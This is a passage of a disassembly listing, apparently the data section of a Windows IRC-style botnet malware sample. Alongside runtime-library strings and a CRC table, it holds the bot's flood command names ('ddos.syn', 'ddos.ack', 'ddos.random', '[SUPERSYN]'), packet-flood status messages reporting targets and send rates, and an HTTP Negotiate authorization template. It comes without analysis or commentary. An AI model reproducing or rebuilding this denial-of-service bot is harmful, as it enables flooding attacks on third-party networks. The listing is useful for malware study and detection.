		dd 25C028Ch, 25C059Eh, 25C05C1h, 25C06EDh, 25C0ADAh, 25D0000h
dword_424058	dd 25D05AFh		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 25D0616h, 25D0883h
dword_424064	dd 25D0CB3h		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 25E0000h, 25E03BBh
dword_424070	dd 25F0000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 25F1127h		; DATA XREF: sub_4168E9+Br
dword_424078	dd 25F1A27h		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2600000h, 2610000h
dword_424084	dd 2610691h		; DATA XREF: sub_40AB7C+36r
		dd 26108DFh
dword_42408C	dd 2610941h		; DATA XREF: sub_4168E9:loc_41697Ar
		dd 2610992h, 2620000h, 2630000h, 2640000h
dword_4240A0	dd 2640B35h		; DATA XREF: sub_4165C6+32r
		dd 2650000h, 2650426h, 2650500h, 2660000h, 2660654h, 2670000h
dword_4240BC	dd 2680000h		; DATA XREF: sub_408EE5+26r
		dd 2690000h, 77F7E300h,	77F7E21Fh, 2690C15h, 26A0000h
		dd 26A0720h
dword_4240D8	dd 26B0000h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 26B06F4h		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 26C0000h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 26C0338h
dword_4240E8	dd 26D0000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 26D0A94h		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 26D0B20h
dword_4240F4	dd 26D0D38h		; DATA XREF: sub_409392+56r
		dd 26E0000h, 26E04FBh
dword_424100	dd 26E0A99h		; DATA XREF: sub_40981F+2r
		dd 26F0000h, 2700000h, 270063Fh, 2700BE1h, 2710000h, 271068Bh
		dd 2720000h, 27206A4h, 2730000h, 27310A2h, 2731199h, 2740000h
		dd 27403A1h, 27407A8h
dword_42413C	dd 2740D21h		; DATA XREF: sub_40B56C+79r
					; sub_416810+3Ar
dword_424140	dd 2750000h		; DATA XREF: sub_40B56C+3Br
					; sub_416717+23r
		dd 27515ADh, 2760000h, 77E75CB5h
dword_424150	dd 2770000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 2780000h, 2780B96h, 2780D15h
dword_424160	dd 2790000h		; DATA XREF: ___:loc_40E864r
		dd 2790395h
dword_424168	dd 279088Dh		; DATA XREF: sub_4165C6:loc_4166B2r
		dd 27909C7h, 2790AB4h, 27A0000h, 27A0490h, 27A0994h, 27A0C73h
		dd 27A0D48h, 27B0000h, 27C0000h, 27D0000h, 27E0000h, 27F0000h
		dd 27F1A12h, 27F1A5Ah, 2800000h, 2810000h, 281016Ch
dword_4241B0	dd 281073Bh		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 2810888h		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 28109F1h, 2820000h, 2820539h, 2830000h, 2840000h, 28413B4h
		dd 2841A69h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_415450+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43959Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_439598o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43B7ECo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43BC2Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_43C34Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 43C34Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_43C364	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_43C364
		dd offset dword_424DB0+4
off_424DD8	dd offset off_43C384	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_43C384
		dd offset dword_424DFC+4
; ---------------------------------------------------------------------------

loc_424E24:				; DATA XREF: ___:00424E3Co
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
		dd 3 dup(0)
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[esi+ecx*2+42h], cl

loc_424E6F:				; DATA XREF: ___:00424E88o
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E6F+1
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_43C3C8
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_43C34C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_43C34C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_43C364
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_43C384
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(78AF60F1h), 5 dup(46C21B77h), 5 dup(7679112Fh)
		dd 7Ah dup(0)
		dd 7679112Fh, 0
		dd 78AF60F1h, 12h dup(0)
; ---------------------------------------------------------------------------
		ja	short near ptr byte_4253B5
		retn	46h
; ---------------------------------------------------------------------------
		align 10h
		dd 5 dup(0)
		db 0
byte_4253B5	db 3 dup(0)		; CODE XREF: ___:00425398j
		dd 312h	dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
